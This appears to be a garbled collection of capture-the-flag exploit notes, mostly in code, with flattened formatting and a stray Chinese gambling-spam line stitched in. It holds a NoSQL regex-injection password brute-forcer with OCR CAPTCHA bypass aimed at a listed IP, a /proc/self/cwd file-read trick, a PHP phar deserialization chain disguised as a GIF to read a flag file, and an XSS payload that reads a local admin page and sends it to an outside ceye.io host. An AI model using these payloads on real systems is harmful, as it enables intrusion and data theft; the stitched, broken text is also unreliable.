for i in range(32): for j in string_list: res = s.get('http://123.206.213.66:45678/vertify.php') image_name = os.path.join(os.path.dirname(__file__),'yzm.jpg') with open(image_name, 'wb') as file: file.write(res.content) image = Image.open(image_name) code = pytesseract.image_to_string(image) res = s.get('http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^'+password + j +'&vertify='+code) while ('CAPTCHA' in res.content): res = s.get('http://123.206.213.66:45678/vertify.php') image_name = os.path.join(os.path.dirname(__file__),'yzm.jpg') with open(image_name, 'wb') as file: file.write(res.content) image = Image.open(image_name) code = pytesseract.image_to_string(image) res = s.get('http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^'+password + j +'&vertify='+code) print password+j,res.content if 'Nice!But it is not the real passwd' in res.content: password += j print password break elif 'username or password incorrect' in res.content: continue print passwd
皇家线上赌场
/proc/self/cwd目录指向了当前进程的工作路径
构造访问/static?file=/proc/self/cwd/app/views.py得到源码
init.py
1 2 3 4 5 6 7 8 9 10 11 12
from flask import Flask from flask_sqlalchemy import SQLAlchemy from .views import register_views from .models import db
<?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } }
class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); }
} public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
<?php class C1e4r { public $test; public $str; } class Show { public $source; public $str; } class Test { public $file; public $params = array('source' => 'var/www/html/f1ag.php'); }
@unlink("c1e4r.phar"); $phar = new Phar("c1e4r.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $p1 = new C1e4r(); $p2 = new Show(); $p2->str = array('str'=>new Test()); $p1->str = $p2;
var a = new XMLHttpRequest(); a.open('GET', 'http://localhost:6324/admin/admin.php', false); a.send(null); b = a.responseText; location.href = 'http://t15em7.ceye.io/d' + escape(b);